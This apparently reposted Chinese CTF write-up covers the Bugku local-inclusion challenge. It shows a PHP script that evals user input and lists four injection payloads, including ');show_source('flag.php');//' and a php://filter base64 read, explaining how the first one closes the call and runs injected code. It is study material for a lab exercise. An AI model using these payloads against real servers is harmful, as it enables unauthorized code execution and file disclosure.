bugku_本地包含


先上payload:

1、?hello=);show_source(%27flag.php%27);//

2、?hello=);include $_POST['zzz'];//

POST傳參:zzz=php://filter/read=convert.base64-encode/resource=flag.php

3、?hello=file(%27flag.php%27)

4、?hello=show_source('flag.php')

 

首先我們來看源碼:

<?php
	include "flag.php";  //flag存儲在flag.php這個腳本里,但是被注釋掉了,我們需要把flag.php的源碼整個顯示出來
	$a = @$_REQUEST['hello'];  //無論是以POST還是GET方式,都可以給$a賦值
	eval("var_dump($a);")  //var_dump可以輸出變量的類型和值,詳見手冊
	show_source(__FILE__);
?>

 出現了include/require這兩個函數,就是典型的文件包含攻擊的漏洞了

 

接下來是每個payload的原理分析:

 

payload1:?hello=);show_source(%27flag.php%27);//

如果讀者對SQL注入了解比較多,那么理解這種方式的原理可能相對來說就比較容易了。

當代碼第二行結束時,$a=);show_source(%27flag.php%27);//

將其代入第三行:

eval("var_dump();show_source(%27flag.php%27);//);")

 

eval會執行代碼,那么腳本里面執行的也就是:

var_dump();show_source(%27flag.php%27);//)

如果還看不清楚,那我把它分開來寫:

var_dump();
show_source('flag.php');
//)

看懂了吧?

所以說,這種攻擊方式和SQL注入的payload很像:
);”負責把前面的命令閉合掉

//”負責把原來命令的殘余部分注釋掉

中間的那部分就是我們希望執行的命令,這是典型的“命令注入”式的攻擊方式!

所以payload的格式是:
);the_command_that_you_want_to_execute//

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM